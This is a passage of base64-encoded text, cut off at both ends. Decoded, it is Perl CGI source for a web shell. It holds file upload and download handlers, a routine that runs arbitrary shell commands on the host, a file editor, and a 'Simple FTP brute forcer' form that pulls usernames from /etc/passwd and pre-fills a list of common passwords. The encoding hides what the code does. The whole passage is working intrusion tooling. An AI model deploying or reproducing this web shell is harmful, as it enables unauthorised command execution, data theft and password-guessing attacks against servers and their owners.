0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7CglpZigtdyAkRmlsZSkKCXsKCQkkcm93cz0iMjMiCgl9ZWxzZQoJewoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBPcGVuIFNhbnM7IGNvbG9yOiB5ZWxsb3c7JyA+IFBlcm1pc3Npb24gZGVuaWVkITxmb250Pjxicj4iOwoJCSRyb3dzPSIyMCIKCX0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCSRyZWFkPSgkV2luTlQpPyJ0eXBlIjoibGVzcyI7CgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOwoJJHJlc3VsdCAuPSAgPDxFTkQ7Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgoJJFByb21wdAoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+Cgk8YnI+Q29tbWFuZDogPHJ1bj4gJFJ1bkNvbW1hbmQgPC9ydW4+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4KRU5ECgkKCSRyZXN1bHQgLj0gJlJ1bkNtZDsKCSRyZXN1bHQgLj0gICI8L3RleHRhcmVhPiI7CgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgU2F2ZSBGaWxlCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlKCQpCnsKCW15ICREYXRhPSBzaGlmdCA7CglteSAkRmlsZT0gc2hpZnQ7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsKCWlmKG9wZW4oRklMRSwgIj4kRmlsZSIpKQoJewoJCWJpbm1vZGUgRklMRTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJcmV0dXJuIDE7Cgl9ZWxzZQoJewoJCXJldHVybiAwOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlckZvcm0KewoJbXkgJHJlc3VsdD0iIjsKCSRyZXN1bHQgLj0gPDxFTkQ7Cgo8dGFibGU+Cgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPgpTaW1wbGUgRlRQIGJydXRlIGZvcmNlcjxicj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPgpFTkQKY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsKJHJlc3VsdCAuPSA8PCdFTkQnOwo8L3RleHRhcmVhPjwvdGQ+Cjx0ZD4KClBhc3M6PGJyPgo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzCjEyMyFAIwoxMjNhZG1pbgoxMjNhYmMKMTIzNDU2YWRtaW4KMTIzN